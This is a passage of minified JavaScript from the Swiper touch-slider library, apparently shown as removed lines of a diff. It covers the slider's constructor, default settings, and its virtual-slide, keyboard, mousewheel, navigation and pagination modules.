function De() { - var e = this; - e.imagesToLoad = e.$el.find("img"); - - function t() { - if (typeof e === "undefined" || e === null || !e || e.destroyed) return; - if (e.imagesLoaded !== undefined) e.imagesLoaded += 1; - if (e.imagesLoaded === e.imagesToLoad.length) { - if (e.params.updateOnImagesReady) e.update(); - e.emit("imagesReady") - } - } - for (var i = 0; i < e.imagesToLoad.length; i += 1) { - var n = e.imagesToLoad[i]; - e.loadImage(n, n.currentSrc || n.getAttribute("src"), n.srcset || n.getAttribute("srcset"), n.sizes || n.getAttribute("sizes"), true, t) - } - } - var Ee = { - loadImage: Ye, - preloadImages: De - }; - - function Ce() { - var e = this; - var t = e.isLocked; - e.isLocked = e.snapGrid.length === 1; - e.allowSlideNext = !e.isLocked; - e.allowSlidePrev = !e.isLocked; - if (t !== e.isLocked) e.emit(e.isLocked ? "lock" : "unlock"); - if (t && t !== e.isLocked) { - e.isEnd = false; - e.navigation.update() - } - } - var Pe = { - checkOverflow: Ce - }; - var Ae = { - init: true, - direction: "horizontal", - touchEventsTarget: "container", - initialSlide: 0, - speed: 300, - preventInteractionOnTransition: false, - edgeSwipeDetection: false, - edgeSwipeThreshold: 20, - freeMode: false, - freeModeMomentum: true, - freeModeMomentumRatio: 1, - freeModeMomentumBounce: true, - freeModeMomentumBounceRatio: 1, - freeModeMomentumVelocityRatio: 1, - freeModeSticky: false, - freeModeMinimumVelocity: .02, - autoHeight: false, - setWrapperSize: false, - virtualTranslate: false, - effect: "slide", - breakpoints: undefined, - breakpointsInverse: false, - spaceBetween: 0, - slidesPerView: 1, - slidesPerColumn: 1, - slidesPerColumnFill: "column", - slidesPerGroup: 1, - centeredSlides: false, - slidesOffsetBefore: 0, - slidesOffsetAfter: 0, - normalizeSlideIndex: true, - centerInsufficientSlides: false, - watchOverflow: false, - roundLengths: false, - touchRatio: 1, - touchAngle: 45, - simulateTouch: true, - shortSwipes: true, - longSwipes: true, - longSwipesRatio: .5, - longSwipesMs: 300, - followFinger: true, - allowTouchMove: true, - threshold: 0, - touchMoveStopPropagation: true, - touchStartPreventDefault: true, - touchReleaseOnEdges: false, - uniqueNavElements: true, - resistance: true, - resistanceRatio: .85, - watchSlidesProgress: false, - watchSlidesVisibility: false, - grabCursor: false, - preventClicks: true, - preventClicksPropagation: true, - slideToClickedSlide: false, - preloadImages: true, - updateOnImagesReady: true, - loop: false, - loopAdditionalSlides: 0, - loopedSlides: null, - loopFillGroupWithBlank: false, - allowSlidePrev: true, - allowSlideNext: true, - swipeHandler: null, - noSwiping: true, - noSwipingClass: "swiper-no-swiping", - noSwipingSelector: null, - passiveListeners: true, - containerModifierClass: "swiper-container-", - slideClass: "swiper-slide", - slideBlankClass: "swiper-slide-invisible-blank", - slideActiveClass: "swiper-slide-active", - slideDuplicateActiveClass: "swiper-slide-duplicate-active", - slideVisibleClass: "swiper-slide-visible", - slideDuplicateClass: "swiper-slide-duplicate", - slideNextClass: "swiper-slide-next", - slideDuplicateNextClass: "swiper-slide-duplicate-next", - slidePrevClass: "swiper-slide-prev", - slideDuplicatePrevClass: "swiper-slide-duplicate-prev", - wrapperClass: "swiper-wrapper", - runCallbacksOnInit: true - }; - var Oe = { - update: j, - translate: R, - transition: q, - slide: Q, - loop: ie, - grabCursor: ae, - manipulation: fe, - events: be, - breakpoints: ke, - checkOverflow: Pe, - classes: Se, - images: Ee - }; - var je = {}; - var He = function (e) { - (0, l.default)(t, e); - - function t() { - var e; - (0, d.default)(this, t); - var i = void 0; - var n = void 0; - for (var a = arguments.length, o = Array(a), l = 0; l < a; l++) { - o[l] = arguments[l] - } - if (o.length === 1 && o[0].constructor && o[0].constructor === Object) { - n = o[0] - } else { - i = o[0]; - n = o[1] - } - if (!n) n = {}; - n = k.extend({}, n); - if (i && !n.el) n.el = i; - var u = (0, s.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, n)); - (0, g.default)(Oe).forEach(function (e) { - (0, g.default)(Oe[e]).forEach(function (i) { - if (!t.prototype[i]) { - t.prototype[i] = Oe[e][i] - } - }) - }); - var f = u; - if (typeof f.modules === "undefined") { - f.modules = {} - }(0, g.default)(f.modules).forEach(function (e) { - var t = f.modules[e]; - if (t.params) { - var i = (0, g.default)(t.params)[0]; - var r = t.params[i]; - if ((typeof r === "undefined" ? "undefined" : (0, v.default)(r)) !== "object" || r === null) return; - if (!(i in n && "enabled" in r)) return; - if (n[i] === true) { - n[i] = { - enabled: true - } - } - if ((0, v.default)(n[i]) === "object" && !("enabled" in n[i])) { - n[i].enabled = true - } - if (!n[i]) n[i] = { - enabled: false - } - } - }); - var c = k.extend({}, Ae); - f.useModulesParams(c); - f.params = k.extend({}, c, je, n); - f.originalParams = k.extend({}, f.params); - f.passedParams = k.extend({}, n); - f.$ = y.$; - var h = (0, y.$)(f.params.el); - i = h[0]; - if (!i) { - var m; - return m = undefined, (0, s.default)(u, m) - } - if (h.length > 1) { - var p; - var _ = []; - h.each(function (e, i) { - var r = k.extend({}, n, { - el: i - }); - _.push(new t(r)) - }); - return p = _, (0, s.default)(u, p) - } - i.swiper = f; - h.data("swiper", f); - var b = h.children("." + f.params.wrapperClass); - k.extend(f, { - $el: h, - el: i, - $wrapperEl: b, - wrapperEl: b[0], - classNames: [], - slides: (0, y.$)(), - slidesGrid: [], - snapGrid: [], - slidesSizesGrid: [], - isHorizontal: function e() { - return f.params.direction === "horizontal" - }, - isVertical: function e() { - return f.params.direction === "vertical" - }, - rtl: i.dir.toLowerCase() === "rtl" || h.css("direction") === "rtl", - rtlTranslate: f.params.direction === "horizontal" && (i.dir.toLowerCase() === "rtl" || h.css("direction") === "rtl"), - wrongRTL: b.css("display") === "-webkit-box", - activeIndex: 0, - realIndex: 0, - isBeginning: true, - isEnd: false, - translate: 0, - previousTranslate: 0, - progress: 0, - velocity: 0, - animating: false, - allowSlideNext: f.params.allowSlideNext, - allowSlidePrev: f.params.allowSlidePrev, - touchEvents: function e() { - var t = ["touchstart", "touchmove", "touchend"]; - var i = ["mousedown", "mousemove", "mouseup"]; - if (L.pointerEvents) { - i = ["pointerdown", "pointermove", "pointerup"] - } else if (L.prefixedPointerEvents) { - i = ["MSPointerDown", "MSPointerMove", "MSPointerUp"] - } - f.touchEventsTouch = { - start: t[0], - move: t[1], - end: t[2] - }; - f.touchEventsDesktop = { - start: i[0], - move: i[1], - end: i[2] - }; - return L.touch || !f.params.simulateTouch ? f.touchEventsTouch : f.touchEventsDesktop - }(), - touchEventsData: { - isTouched: undefined, - isMoved: undefined, - allowTouchCallbacks: undefined, - touchStartTime: undefined, - isScrolling: undefined, - currentTranslate: undefined, - startTranslate: undefined, - allowThresholdMove: undefined, - formElements: "input, select, option, textarea, button, video", - lastClickTime: k.now(), - clickTimeout: undefined, - velocities: [], - allowMomentumBounce: undefined, - isTouchEvent: undefined, - startMoving: undefined - }, - allowClick: true, - allowTouchMove: f.params.allowTouchMove, - touches: { - startX: 0, - startY: 0, - currentX: 0, - currentY: 0, - diff: 0 - }, - imagesToLoad: [], - imagesLoaded: 0 - }); - f.useModules(); - if (f.params.init) { - f.init() - } - return e = f, (0, s.default)(u, e) - }(0, c.default)(t, [{ - key: "slidesPerViewDynamic", - value: function e() { - var t = this; - var i = t.params, - n = t.slides, - r = t.slidesGrid, - a = t.size, - s = t.activeIndex; - var o = 1; - if (i.centeredSlides) { - var l = n[s].swiperSlideSize; - var u = void 0; - for (var d = s + 1; d < n.length; d += 1) { - if (n[d] && !u) { - l += n[d].swiperSlideSize; - o += 1; - if (l > a) u = true - } - } - for (var f = s - 1; f >= 0; f -= 1) { - if (n[f] && !u) { - l += n[f].swiperSlideSize; - o += 1; - if (l > a) u = true - } - } - } else { - for (var c = s + 1; c < n.length; c += 1) { - if (r[c] - r[s] < a) { - o += 1 - } - } - } - return o - } - }, { - key: "update", - value: function e() { - var t = this; - if (!t || t.destroyed) return; - var i = t.snapGrid, - n = t.params; - if (n.breakpoints) { - t.setBreakpoint() - } - t.updateSize(); - t.updateSlides(); - t.updateProgress(); - t.updateSlidesClasses(); - - function r() { - var e = t.rtlTranslate ? t.translate * -1 : t.translate; - var i = Math.min(Math.max(e, t.maxTranslate()), t.minTranslate()); - t.setTranslate(i); - t.updateActiveIndex(); - t.updateSlidesClasses() - } - var a = void 0; - if (t.params.freeMode) { - r(); - if (t.params.autoHeight) { - t.updateAutoHeight() - } - } else { - if ((t.params.slidesPerView === "auto" || t.params.slidesPerView > 1) && t.isEnd && !t.params.centeredSlides) { - a = t.slideTo(t.slides.length - 1, 0, false, true) - } else { - a = t.slideTo(t.activeIndex, 0, false, true) - } - if (!a) { - r() - } - } - if (n.watchOverflow && i !== t.snapGrid) { - t.checkOverflow() - } - t.emit("update") - } - }, { - key: "init", - value: function e() { - var t = this; - if (t.initialized) return; - t.emit("beforeInit"); - if (t.params.breakpoints) { - t.setBreakpoint() - } - t.addClasses(); - if (t.params.loop) { - t.loopCreate() - } - t.updateSize(); - t.updateSlides(); - if (t.params.watchOverflow) { - t.checkOverflow() - } - if (t.params.grabCursor) { - t.setGrabCursor() - } - if (t.params.preloadImages) { - t.preloadImages() - } - if (t.params.loop) { - t.slideTo(t.params.initialSlide + t.loopedSlides, 0, t.params.runCallbacksOnInit) - } else { - t.slideTo(t.params.initialSlide, 0, t.params.runCallbacksOnInit) - } - t.attachEvents(); - t.initialized = true; - t.emit("init") - } - }, { - key: "destroy", - value: function e() { - var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; - var n = this; - var r = n.params, - a = n.$el, - s = n.$wrapperEl, - o = n.slides; - if (typeof n.params === "undefined" || n.destroyed) { - return null - } - n.emit("beforeDestroy"); - n.initialized = false; - n.detachEvents(); - if (r.loop) { - n.loopDestroy() - } - if (i) { - n.removeClasses(); - a.removeAttr("style"); - s.removeAttr("style"); - if (o && o.length) { - o.removeClass([r.slideVisibleClass, r.slideActiveClass, r.slideNextClass, r.slidePrevClass].join(" ")).removeAttr("style").removeAttr("data-swiper-slide-index").removeAttr("data-swiper-column").removeAttr("data-swiper-row") - } - } - n.emit("destroy"); - (0, g.default)(n.eventsListeners).forEach(function (e) { - n.off(e) - }); - if (t !== false) { - n.$el[0].swiper = null; - n.$el.data("swiper", null); - k.deleteProps(n) - } - n.destroyed = true; - return null - } - }], [{ - key: "extendDefaults", - value: function e(t) { - k.extend(je, t) - } - }, { - key: "extendedDefaults", - get: function e() { - return je - } - }, { - key: "defaults", - get: function e() { - return Ae - } - }, { - key: "Class", - get: function e() { - return T - } - }, { - key: "$", - get: function e() { - return y.$ - } - }]); - return t - }(T); - var Ie = { - name: "device", - proto: { - device: ce - }, - static: { - device: ce - } - }; - var Fe = { - name: "support", - proto: { - support: L - }, - static: { - support: L - } - }; - var ze = { - name: "browser", - proto: { - browser: Le - }, - static: { - browser: Le - } - }; - var Re = { - name: "resize", - create: function e() { - var t = this; - k.extend(t, { - resize: { - resizeHandler: function e() { - if (!t || t.destroyed || !t.initialized) return; - t.emit("beforeResize"); - t.emit("resize") - }, - orientationChangeHandler: function e() { - if (!t || t.destroyed || !t.initialized) return; - t.emit("orientationchange") - } - } - }) - }, - on: { - init: function e() { - var t = this; - b.window.addEventListener("resize", t.resize.resizeHandler); - b.window.addEventListener("orientationchange", t.resize.orientationChangeHandler) - }, - destroy: function e() { - var t = this; - b.window.removeEventListener("resize", t.resize.resizeHandler); - b.window.removeEventListener("orientationchange", t.resize.orientationChangeHandler) - } - } - }; - var Ne = { - func: b.window.MutationObserver || b.window.WebkitMutationObserver, - attach: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - var n = this; - var r = Ne.func; - var a = new r(function (e) { - if (e.length === 1) { - n.emit("observerUpdate", e[0]); - return - } - var t = function t() { - n.emit("observerUpdate", e[0]) - }; - if (b.window.requestAnimationFrame) { - b.window.requestAnimationFrame(t) - } else { - b.window.setTimeout(t, 0) - } - }); - a.observe(t, { - attributes: typeof i.attributes === "undefined" ? true : i.attributes, - childList: typeof i.childList === "undefined" ? true : i.childList, - characterData: typeof i.characterData === "undefined" ? true : i.characterData - }); - n.observer.observers.push(a) - }, - init: function e() { - var t = this; - if (!L.observer || !t.params.observer) return; - if (t.params.observeParents) { - var i = t.$el.parents(); - for (var n = 0; n < i.length; n += 1) { - t.observer.attach(i[n]) - } - } - t.observer.attach(t.$el[0], { - childList: false - }); - t.observer.attach(t.$wrapperEl[0], { - attributes: false - }) - }, - destroy: function e() { - var t = this; - t.observer.observers.forEach(function (e) { - e.disconnect() - }); - t.observer.observers = [] - } - }; - var We = { - name: "observer", - params: { - observer: false, - observeParents: false - }, - create: function e() { - var t = this; - k.extend(t, { - observer: { - init: Ne.init.bind(t), - attach: Ne.attach.bind(t), - destroy: Ne.destroy.bind(t), - observers: [] - } - }) - }, - on: { - init: function e() { - var t = this; - t.observer.init() - }, - destroy: function e() { - var t = this; - t.observer.destroy() - } - } - }; - var Be = { - update: function e(t) { - var i = this; - var n = i.params, - r = n.slidesPerView, - a = n.slidesPerGroup, - s = n.centeredSlides; - var o = i.params.virtual, - l = o.addSlidesBefore, - u = o.addSlidesAfter; - var d = i.virtual, - f = d.from, - c = d.to, - h = d.slides, - m = d.slidesGrid, - p = d.renderSlide, - v = d.offset; - i.updateActiveIndex(); - var _ = i.activeIndex || 0; - var g = void 0; - if (i.rtlTranslate) g = "right"; - else g = i.isHorizontal() ? "left" : "top"; - var y = void 0; - var b = void 0; - if (s) { - y = Math.floor(r / 2) + a + l; - b = Math.floor(r / 2) + a + u - } else { - y = r + (a - 1) + l; - b = a + u - } - var w = Math.max((_ || 0) - b, 0); - var M = Math.min((_ || 0) + y, h.length - 1); - var L = (i.slidesGrid[w] || 0) - (i.slidesGrid[0] || 0); - k.extend(i.virtual, { - from: w, - to: M, - offset: L, - slidesGrid: i.slidesGrid - }); - - function T() { - i.updateSlides(); - i.updateProgress(); - i.updateSlidesClasses(); - if (i.lazy && i.params.lazy.enabled) { - i.lazy.load() - } - } - if (f === w && c === M && !t) { - if (i.slidesGrid !== m && L !== v) { - i.slides.css(g, L + "px") - } - i.updateProgress(); - return - } - if (i.params.virtual.renderExternal) { - i.params.virtual.renderExternal.call(i, { - offset: L, - from: w, - to: M, - slides: function e() { - var t = []; - for (var i = w; i <= M; i += 1) { - t.push(h[i]) - } - return t - }() - }); - T(); - return - } - var x = []; - var S = []; - if (t) { - i.$wrapperEl.find("." + i.params.slideClass).remove() - } else { - for (var Y = f; Y <= c; Y += 1) { - if (Y < w || Y > M) { - i.$wrapperEl.find("." + i.params.slideClass + '[data-swiper-slide-index="' + Y + '"]').remove() - } - } - } - for (var D = 0; D < h.length; D += 1) { - if (D >= w && D <= M) { - if (typeof c === "undefined" || t) { - S.push(D) - } else { - if (D > c) S.push(D); - if (D < f) x.push(D) - } - } - } - S.forEach(function (e) { - i.$wrapperEl.append(p(h[e], e)) - }); - x.sort(function (e, t) { - return e < t - }).forEach(function (e) { - i.$wrapperEl.prepend(p(h[e], e)) - }); - i.$wrapperEl.children(".swiper-slide").css(g, L + "px"); - T() - }, - renderSlide: function e(t, i) { - var n = this; - var r = n.params.virtual; - if (r.cache && n.virtual.cache[i]) { - return n.virtual.cache[i] - } - var a = r.renderSlide ? (0, y.$)(r.renderSlide.call(n, t, i)) : (0, y.$)('
' + t + "
"); - if (!a.attr("data-swiper-slide-index")) a.attr("data-swiper-slide-index", i); - if (r.cache) n.virtual.cache[i] = a; - return a - }, - appendSlide: function e(t) { - var i = this; - i.virtual.slides.push(t); - i.virtual.update(true) - }, - prependSlide: function e(t) { - var i = this; - i.virtual.slides.unshift(t); - if (i.params.virtual.cache) { - var n = i.virtual.cache; - var r = {}; - (0, g.default)(n).forEach(function (e) { - r[e + 1] = n[e] - }); - i.virtual.cache = r - } - i.virtual.update(true); - i.slideNext(0) - } - }; - var qe = { - name: "virtual", - params: { - virtual: { - enabled: false, - slides: [], - cache: true, - renderSlide: null, - renderExternal: null, - addSlidesBefore: 0, - addSlidesAfter: 0 - } - }, - create: function e() { - var t = this; - k.extend(t, { - virtual: { - update: Be.update.bind(t), - appendSlide: Be.appendSlide.bind(t), - prependSlide: Be.prependSlide.bind(t), - renderSlide: Be.renderSlide.bind(t), - slides: t.params.virtual.slides, - cache: {} - } - }) - }, - on: { - beforeInit: function e() { - var t = this; - if (!t.params.virtual.enabled) return; - t.classNames.push(t.params.containerModifierClass + "virtual"); - var i = { - watchSlidesProgress: true - }; - k.extend(t.params, i); - k.extend(t.originalParams, i); - t.virtual.update() - }, - setTranslate: function e() { - var t = this; - if (!t.params.virtual.enabled) return; - t.virtual.update() - } - } - }; - var $e = { - handle: function e(t) { - var i = this; - var n = i.rtlTranslate; - var r = t; - if (r.originalEvent) r = r.originalEvent; - var a = r.keyCode || r.charCode; - if (!i.allowSlideNext && (i.isHorizontal() && a === 39 || i.isVertical() && a === 40)) { - return false - } - if (!i.allowSlidePrev && (i.isHorizontal() && a === 37 || i.isVertical() && a === 38)) { - return false - } - if (r.shiftKey || r.altKey || r.ctrlKey || r.metaKey) { - return undefined - } - if (b.document.activeElement && b.document.activeElement.nodeName && (b.document.activeElement.nodeName.toLowerCase() === "input" || b.document.activeElement.nodeName.toLowerCase() === "textarea")) { - return undefined - } - if (i.params.keyboard.onlyInViewport && (a === 37 || a === 39 || a === 38 || a === 40)) { - var s = false; - if (i.$el.parents("." + i.params.slideClass).length > 0 && i.$el.parents("." + i.params.slideActiveClass).length === 0) { - return undefined - } - var o = b.window.innerWidth; - var l = b.window.innerHeight; - var u = i.$el.offset(); - if (n) u.left -= i.$el[0].scrollLeft; - var d = [ - [u.left, u.top], - [u.left + i.width, u.top], - [u.left, u.top + i.height], - [u.left + i.width, u.top + i.height] - ]; - for (var f = 0; f < d.length; f += 1) { - var c = d[f]; - if (c[0] >= 0 && c[0] <= o && c[1] >= 0 && c[1] <= l) { - s = true - } - } - if (!s) return undefined - } - if (i.isHorizontal()) { - if (a === 37 || a === 39) { - if (r.preventDefault) r.preventDefault(); - else r.returnValue = false - } - if (a === 39 && !n || a === 37 && n) i.slideNext(); - if (a === 37 && !n || a === 39 && n) i.slidePrev() - } else { - if (a === 38 || a === 40) { - if (r.preventDefault) r.preventDefault(); - else r.returnValue = false - } - if (a === 40) i.slideNext(); - if (a === 38) i.slidePrev() - } - i.emit("keyPress", a); - return undefined - }, - enable: function e() { - var t = this; - if (t.keyboard.enabled) return; - (0, y.$)(b.document).on("keydown", t.keyboard.handle); - t.keyboard.enabled = true - }, - disable: function e() { - var t = this; - if (!t.keyboard.enabled) return; - (0, y.$)(b.document).off("keydown", t.keyboard.handle); - t.keyboard.enabled = false - } - }; - var Ve = { - name: "keyboard", - params: { - keyboard: { - enabled: false, - onlyInViewport: true - } - }, - create: function e() { - var t = this; - k.extend(t, { - keyboard: { - enabled: false, - enable: $e.enable.bind(t), - disable: $e.disable.bind(t), - handle: $e.handle.bind(t) - } - }) - }, - on: { - init: function e() { - var t = this; - if (t.params.keyboard.enabled) { - t.keyboard.enable() - } - }, - destroy: function e() { - var t = this; - if (t.keyboard.enabled) { - t.keyboard.disable() - } - } - } - }; - - function Ge() { - var e = "onwheel"; - var t = e in b.document; - if (!t) { - var i = b.document.createElement("div"); - i.setAttribute(e, "return;"); - t = typeof i[e] === "function" - } - if (!t && b.document.implementation && b.document.implementation.hasFeature && b.document.implementation.hasFeature("", "") !== true) { - t = b.document.implementation.hasFeature("Events.wheel", "3.0") - } - return t - } - var Ue = { - lastScrollTime: k.now(), - event: function e() { - if (b.window.navigator.userAgent.indexOf("firefox") > -1) return "DOMMouseScroll"; - return Ge() ? "wheel" : "mousewheel" - }(), - normalize: function e(t) { - var i = 10; - var n = 40; - var r = 800; - var a = 0; - var s = 0; - var o = 0; - var l = 0; - if ("detail" in t) { - s = t.detail - } - if ("wheelDelta" in t) { - s = -t.wheelDelta / 120 - } - if ("wheelDeltaY" in t) { - s = -t.wheelDeltaY / 120 - } - if ("wheelDeltaX" in t) { - a = -t.wheelDeltaX / 120 - } - if ("axis" in t && t.axis === t.HORIZONTAL_AXIS) { - a = s; - s = 0 - } - o = a * i; - l = s * i; - if ("deltaY" in t) { - l = t.deltaY - } - if ("deltaX" in t) { - o = t.deltaX - } - if ((o || l) && t.deltaMode) { - if (t.deltaMode === 1) { - o *= n; - l *= n - } else { - o *= r; - l *= r - } - } - if (o && !a) { - a = o < 1 ? -1 : 1 - } - if (l && !s) { - s = l < 1 ? -1 : 1 - } - return { - spinX: a, - spinY: s, - pixelX: o, - pixelY: l - } - }, - handleMouseEnter: function e() { - var t = this; - t.mouseEntered = true - }, - handleMouseLeave: function e() { - var t = this; - t.mouseEntered = false - }, - handle: function e(t) { - var i = t; - var n = this; - var r = n.params.mousewheel; - if (!n.mouseEntered && !r.releaseOnEdges) return true; - if (i.originalEvent) i = i.originalEvent; - var a = 0; - var s = n.rtlTranslate ? -1 : 1; - var o = Ue.normalize(i); - if (r.forceToAxis) { - if (n.isHorizontal()) { - if (Math.abs(o.pixelX) > Math.abs(o.pixelY)) a = o.pixelX * s; - else return true - } else if (Math.abs(o.pixelY) > Math.abs(o.pixelX)) a = o.pixelY; - else return true - } else { - a = Math.abs(o.pixelX) > Math.abs(o.pixelY) ? -o.pixelX * s : -o.pixelY - } - if (a === 0) return true; - if (r.invert) a = -a; - if (!n.params.freeMode) { - if (k.now() - n.mousewheel.lastScrollTime > 60) { - if (a < 0) { - if ((!n.isEnd || n.params.loop) && !n.animating) { - n.slideNext(); - n.emit("scroll", i) - } else if (r.releaseOnEdges) return true - } else if ((!n.isBeginning || n.params.loop) && !n.animating) { - n.slidePrev(); - n.emit("scroll", i) - } else if (r.releaseOnEdges) return true - } - n.mousewheel.lastScrollTime = (new b.window.Date).getTime() - } else { - if (n.params.loop) { - n.loopFix() - } - var l = n.getTranslate() + a * r.sensitivity; - var u = n.isBeginning; - var d = n.isEnd; - if (l >= n.minTranslate()) l = n.minTranslate(); - if (l <= n.maxTranslate()) l = n.maxTranslate(); - n.setTransition(0); - n.setTranslate(l); - n.updateProgress(); - n.updateActiveIndex(); - n.updateSlidesClasses(); - if (!u && n.isBeginning || !d && n.isEnd) { - n.updateSlidesClasses() - } - if (n.params.freeModeSticky) { - clearTimeout(n.mousewheel.timeout); - n.mousewheel.timeout = k.nextTick(function () { - n.slideToClosest() - }, 300) - } - n.emit("scroll", i); - if (n.params.autoplay && n.params.autoplayDisableOnInteraction) n.autoplay.stop(); - if (l === n.minTranslate() || l === n.maxTranslate()) return true - } - if (i.preventDefault) i.preventDefault(); - else i.returnValue = false; - return false - }, - enable: function e() { - var t = this; - if (!Ue.event) return false; - if (t.mousewheel.enabled) return false; - var i = t.$el; - if (t.params.mousewheel.eventsTarged !== "container") { - i = (0, y.$)(t.params.mousewheel.eventsTarged) - } - i.on("mouseenter", t.mousewheel.handleMouseEnter); - i.on("mouseleave", t.mousewheel.handleMouseLeave); - i.on(Ue.event, t.mousewheel.handle); - t.mousewheel.enabled = true; - return true - }, - disable: function e() { - var t = this; - if (!Ue.event) return false; - if (!t.mousewheel.enabled) return false; - var i = t.$el; - if (t.params.mousewheel.eventsTarged !== "container") { - i = (0, y.$)(t.params.mousewheel.eventsTarged) - } - i.off(Ue.event, t.mousewheel.handle); - t.mousewheel.enabled = false; - return true - } - }; - var Xe = { - name: "mousewheel", - params: { - mousewheel: { - enabled: false, - releaseOnEdges: false, - invert: false, - forceToAxis: false, - sensitivity: 1, - eventsTarged: "container" - } - }, - create: function e() { - var t = this; - k.extend(t, { - mousewheel: { - enabled: false, - enable: Ue.enable.bind(t), - disable: Ue.disable.bind(t), - handle: Ue.handle.bind(t), - handleMouseEnter: Ue.handleMouseEnter.bind(t), - handleMouseLeave: Ue.handleMouseLeave.bind(t), - lastScrollTime: k.now() - } - }) - }, - on: { - init: function e() { - var t = this; - if (t.params.mousewheel.enabled) t.mousewheel.enable() - }, - destroy: function e() { - var t = this; - if (t.mousewheel.enabled) t.mousewheel.disable() - } - } - }; - var Je = { - update: function e() { - var t = this; - var i = t.params.navigation; - if (t.params.loop) return; - var n = t.navigation, - r = n.$nextEl, - a = n.$prevEl; - if (a && a.length > 0) { - if (t.isBeginning) { - a.addClass(i.disabledClass) - } else { - a.removeClass(i.disabledClass) - } - a[t.params.watchOverflow && t.isLocked ? "addClass" : "removeClass"](i.lockClass) - } - if (r && r.length > 0) { - if (t.isEnd) { - r.addClass(i.disabledClass) - } else { - r.removeClass(i.disabledClass) - } - r[t.params.watchOverflow && t.isLocked ? "addClass" : "removeClass"](i.lockClass) - } - }, - init: function e() { - var t = this; - var i = t.params.navigation; - if (!(i.nextEl || i.prevEl)) return; - var n = void 0; - var r = void 0; - if (i.nextEl) { - n = (0, y.$)(i.nextEl); - if (t.params.uniqueNavElements && typeof i.nextEl === "string" && n.length > 1 && t.$el.find(i.nextEl).length === 1) { - n = t.$el.find(i.nextEl) - } - } - if (i.prevEl) { - r = (0, y.$)(i.prevEl); - if (t.params.uniqueNavElements && typeof i.prevEl === "string" && r.length > 1 && t.$el.find(i.prevEl).length === 1) { - r = t.$el.find(i.prevEl) - } - } - if (n && n.length > 0) { - n.on("click", function (e) { - e.preventDefault(); - if (t.isEnd && !t.params.loop) return; - t.slideNext() - }) - } - if (r && r.length > 0) { - r.on("click", function (e) { - e.preventDefault(); - if (t.isBeginning && !t.params.loop) return; - t.slidePrev() - }) - } - k.extend(t.navigation, { - $nextEl: n, - nextEl: n && n[0], - $prevEl: r, - prevEl: r && r[0] - }) - }, - destroy: function e() { - var t = this; - var i = t.navigation, - n = i.$nextEl, - r = i.$prevEl; - if (n && n.length) { - n.off("click"); - n.removeClass(t.params.navigation.disabledClass) - } - if (r && r.length) { - r.off("click"); - r.removeClass(t.params.navigation.disabledClass) - } - } - }; - var Ke = { - name: "navigation", - params: { - navigation: { - nextEl: null, - prevEl: null, - hideOnClick: false, - disabledClass: "swiper-button-disabled", - hiddenClass: "swiper-button-hidden", - lockClass: "swiper-button-lock" - } - }, - create: function e() { - var t = this; - k.extend(t, { - navigation: { - init: Je.init.bind(t), - update: Je.update.bind(t), - destroy: Je.destroy.bind(t) - } - }) - }, - on: { - init: function e() { - var t = this; - t.navigation.init(); - t.navigation.update() - }, - toEdge: function e() { - var t = this; - t.navigation.update() - }, - fromEdge: function e() { - var t = this; - t.navigation.update() - }, - destroy: function e() { - var t = this; - t.navigation.destroy() - }, - click: function e(t) { - var i = this; - var n = i.navigation, - r = n.$nextEl, - a = n.$prevEl; - if (i.params.navigation.hideOnClick && !(0, y.$)(t.target).is(a) && !(0, y.$)(t.target).is(r)) { - if (r) r.toggleClass(i.params.navigation.hiddenClass); - if (a) a.toggleClass(i.params.navigation.hiddenClass) - } - } - } - }; - var Qe = { - update: function e() { - var t = this; - var i = t.rtl; - var n = t.params.pagination; - if (!n.el || !t.pagination.el || !t.pagination.$el || t.pagination.$el.length === 0) return; - var r = t.virtual && t.params.virtual.enabled ? t.virtual.slides.length : t.slides.length; - var a = t.pagination.$el; - var s = void 0; - var o = t.params.loop ? Math.ceil((r - t.loopedSlides * 2) / t.params.slidesPerGroup) : t.snapGrid.length; - if (t.params.loop) { - s = Math.ceil((t.activeIndex - t.loopedSlides) / t.params.slidesPerGroup); - if (s > r - 1 - t.loopedSlides * 2) { - s -= r - t.loopedSlides * 2 - } - if (s > o - 1) s -= o; - if (s < 0 && t.params.paginationType !== "bullets") s = o + s - } else if (typeof t.snapIndex !== "undefined") { - s = t.snapIndex - } else { - s = t.activeIndex || 0 - } - if (n.type === "bullets" && t.pagination.bullets && t.pagination.bullets.length > 0) { - var l = t.pagination.bullets; - var u = void 0; - var d = void 0; - var f = void 0; - if (n.dynamicBullets) { - t.pagination.bulletSize = l.eq(0)[t.isHorizontal() ? "outerWidth" : "outerHeight"](true); - a.css(t.isHorizontal() ? "width" : "height", t.pagination.bulletSize * (n.dynamicMainBullets + 4) + "px"); - if (n.dynamicMainBullets > 1 && t.previousIndex !== undefined) { - t.pagination.dynamicBulletIndex += s - t.previousIndex; - if (t.pagination.dynamicBulletIndex > n.dynamicMainBullets - 1) { - t.pagination.dynamicBulletIndex = n.dynamicMainBullets - 1 - } else if (t.pagination.dynamicBulletIndex < 0) { - t.pagination.dynamicBulletIndex = 0 - } - } - u = s - t.pagination.dynamicBulletIndex; - d = u + (Math.min(l.length, n.dynamicMainBullets) - 1); - f = (d + u) / 2 - } - l.removeClass(n.bulletActiveClass + " " + n.bulletActiveClass + "-next " + n.bulletActiveClass + "-next-next " + n.bulletActiveClass + "-prev " + n.bulletActiveClass + "-prev-prev " + n.bulletActiveClass + "-main"); - if (a.length > 1) { - l.each(function (e, t) { - var i = (0, y.$)(t); - var r = i.index(); - if (r === s) { - i.addClass(n.bulletActiveClass) - } - if (n.dynamicBullets) { - if (r >= u && r <= d) { - i.addClass(n.bulletActiveClass + "-main") - } - if (r === u) { - i.prev().addClass(n.bulletActiveClass + "-prev").prev().addClass(n.bulletActiveClass + "-prev-prev") - } - if (r === d) { - i.next().addClass(n.bulletActiveClass + "-next").next().addClass(n.bulletActiveClass + "-next-next") - } - } - }) - } else { - var c = l.eq(s); - c.addClass(n.bulletActiveClass); - if (n.dynamicBullets) { - var h = l.eq(u); - var m = l.eq(d); - for (var p = u; p <= d; p += 1) { - l.eq(p).addClass(n.bulletActiveClass + "-main") - } - h.prev().addClass(n.bulletActiveClass + "-prev").prev().addClass(n.bulletActiveClass + "-prev-prev"); - m.next().addClass(n.bulletActiveClass + "-next").next().addClass(n.bulletActiveClass + "-next-next") - } - } - if (n.dynamicBullets) { - var v = Math.min(l.length, n.dynamicMainBullets + 4); - var _ = 